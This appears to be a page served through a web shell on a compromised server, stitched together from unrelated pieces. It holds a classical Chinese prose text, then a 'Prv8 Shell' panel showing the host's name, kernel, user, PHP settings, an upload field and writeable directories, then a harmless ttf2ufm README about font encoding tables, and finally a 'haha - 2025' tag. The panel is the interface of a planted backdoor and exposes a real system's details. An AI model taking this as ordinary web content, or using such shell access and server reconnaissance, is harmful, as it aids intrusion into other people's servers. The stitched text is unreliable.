晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/libraries/tcpdf/fonts/ttf2ufm/ttf2ufm-src/encodings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/public_html/crm/libraries/tcpdf/fonts/ttf2ufm/ttf2ufm-src/encodings/README.html
<HTML>
<HEAD>
<TITLE>
The INSTALLATION GUIDE 
</TITLE>
</HEAD>
<BODY>
Sergey A. Babkin
<br>
<A HREF="mailto:babkin@bellatlantic.net">
&lt;babkin@bellatlantic.net&gt;</A> or <A HREF="mailto:sab123@hotmail.com">&lt;sab123@hotmail.com&gt;</A>
<p>
<! 
(Do not edit this file, it is generated from README.html!!!)
>

<H3>
The Translation Tables
</H3>
<!
----------------------
>

These translation tables are used to translate the Type 1 fonts between
different encodings of the same language.
<p>

The file names are supposed to have the suffix <tt>.tbl</tt>. Each file
describes one encoding, and all the tables for a given language
are stored in the same directory.
<p>

The file format is quite simple: just a sequence of rows in
format
<p>

<tt>
&lt;name&gt; &lt;decimal code&gt;
</tt>
<p>

The names do not have to conform to any standard, just the same
glyph must have the same name in all the files for a given language.
<p>

Not all the codes need to be described in the tables, the codes that
are not mentioned in the tables are left untranslated. So a file
of zero length may be used in case when no translation is neccessary.
<p>

The translation changes only the encoding table of the font and does not 
rename the glyphs in the font file.
<p>

<H3>
Examples
</H3>
<!
--------
>

The directory `russian' contains the tables for some encodings of the 
Russian language: KOI-8, IBM CP-866, IBM CP-1251 and just for fun
ISO-8859/5 (nobody uses it anyways). The tables describe both russian
letters and table graphics characters (except for CP-1251 for which
the table graphics is not defined, so the table graphics portion for
it is just copied from KOI-8). 
<p>

The file for ISO-8859/1 is just a copy of file for KOI-8. It is neccessary
because Netscape has rather weird ideas about the documents in
KOI-8 encoding. The common way to fool Netscape is to set the KOI-8
fonts for the ISO-8859/1 encoding and set the default encoding
in Netscape to 8859/1.
<p>

The directory `latin1' contains an empty table for ISO-8859/1
because it does not need any translation.
<p>
</BODY>
</HTML>

haha - 2025